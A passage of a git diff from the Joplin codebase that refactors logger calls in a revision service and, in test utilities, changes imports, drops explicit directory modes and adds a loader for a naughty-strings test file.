- this.logger().info('RevisionService::maintenance: Service is disabled');
+ logger.info('RevisionService::maintenance: Service is disabled');
// We do as if we had processed all the latest changes so that they can be cleaned up
// later on by ItemChangeUtils.deleteProcessedChanges().
Setting.setValue('revisionService.lastProcessedChangeId', await ItemChange.lastChangeId());
await this.deleteOldRevisions(Setting.value('revisionService.ttlDays') * 24 * 60 * 60 * 1000);
} else {
- this.logger().info('RevisionService::maintenance: Service is enabled');
+ logger.info('RevisionService::maintenance: Service is enabled');
await this.collectRevisions();
await this.deleteOldRevisions(Setting.value('revisionService.ttlDays') * 24 * 60 * 60 * 1000);
- this.logger().info(`RevisionService::maintenance: Done in ${Date.now() - startTime}ms`);
+ logger.info(`RevisionService::maintenance: Done in ${Date.now() - startTime}ms`);
}
} catch (error) {
- this.logger().error('RevisionService::maintenance:', error);
+ logger.error('RevisionService::maintenance:', error);
} finally {
this.maintenanceCalls_.pop();
}
@@ -294,7 +292,7 @@ export default class RevisionService extends BaseService {
if (collectRevisionInterval === null) collectRevisionInterval = 1000 * 60 * 10;
- this.logger().info(`RevisionService::runInBackground: Starting background service with revision collection interval ${collectRevisionInterval}`);
+ logger.info(`RevisionService::runInBackground: Starting background service with revision collection interval ${collectRevisionInterval}`);
this.maintenanceTimer1_ = shim.setTimeout(() => {
void this.maintenance();
diff --git a/packages/lib/testing/test-utils.ts b/packages/lib/testing/test-utils.ts
index c608dc2e86..e93afb4288 100644
--- a/packages/lib/testing/test-utils.ts
+++ b/packages/lib/testing/test-utils.ts
@@ -17,7 +17,7 @@ import FileApiDriverJoplinServer from '../file-api-driver-joplinServer';
import OneDriveApi from '../onedrive-api';
import SyncTargetOneDrive from '../SyncTargetOneDrive';
import JoplinDatabase from '../JoplinDatabase';
-const fs = require('fs-extra');
+import * as fs from 'fs-extra';
const { DatabaseDriverNode } = require('../database-driver-node.js');
import Folder from '../models/Folder';
import Note from '../models/Note';
@@ -101,8 +101,8 @@ const supportDir = `${oldTestDir}/support`;
const dataDir = `${oldTestDir}/test data/${suiteName_}`;
const profileDir = `${dataDir}/profile`;
-fs.mkdirpSync(logDir, 0o755);
-fs.mkdirpSync(baseTempDir, 0o755);
+fs.mkdirpSync(logDir);
+fs.mkdirpSync(baseTempDir);
fs.mkdirpSync(dataDir);
fs.mkdirpSync(profileDir);
@@ -392,10 +392,10 @@ async function setupDatabaseAndSynchronizer(id: number, options: any = null) {
DecryptionWorker.instance_ = null;
await fs.remove(resourceDir(id));
- await fs.mkdirp(resourceDir(id), 0o755);
+ await fs.mkdirp(resourceDir(id));
await fs.remove(pluginDir(id));
- await fs.mkdirp(pluginDir(id), 0o755);
+ await fs.mkdirp(pluginDir(id));
if (!synchronizers_[id]) {
const SyncTargetClass = SyncTargetRegistry.classById(syncTargetId_);
@@ -512,7 +512,7 @@ async function initFileApi() {
let fileApi = null;
if (syncTargetId_ == SyncTargetRegistry.nameToId('filesystem')) {
fs.removeSync(syncDir);
- fs.mkdirpSync(syncDir, 0o755);
+ fs.mkdirpSync(syncDir);
fileApi = new FileApi(syncDir, new FileApiDriverLocal());
} else if (syncTargetId_ == SyncTargetRegistry.nameToId('memory')) {
fileApi = new FileApi('/root', new FileApiDriverMemory());
@@ -788,6 +788,21 @@ async function waitForFolderCount(count: number) {
}
}
+let naughtyStrings_: string[] = null;
+export async function naughtyStrings() {
+ if (naughtyStrings_) return naughtyStrings_;
+ const t = await fs.readFile(`${supportDir}/big-list-of-naughty-strings.txt`, 'utf8');
+ const lines = t.split('\n');
+ naughtyStrings_ = [];
+ for (const line of lines) {
+ const trimmed = line.trim();
+ if (!trimmed) continue;
+ if (trimmed.indexOf('#') === 0) continue;
+ naughtyStrings_.push(line);
+ }
+ return naughtyStrings_;
+}
+
// TODO: Update for Jest
// function mockDate(year, month, day, tick) {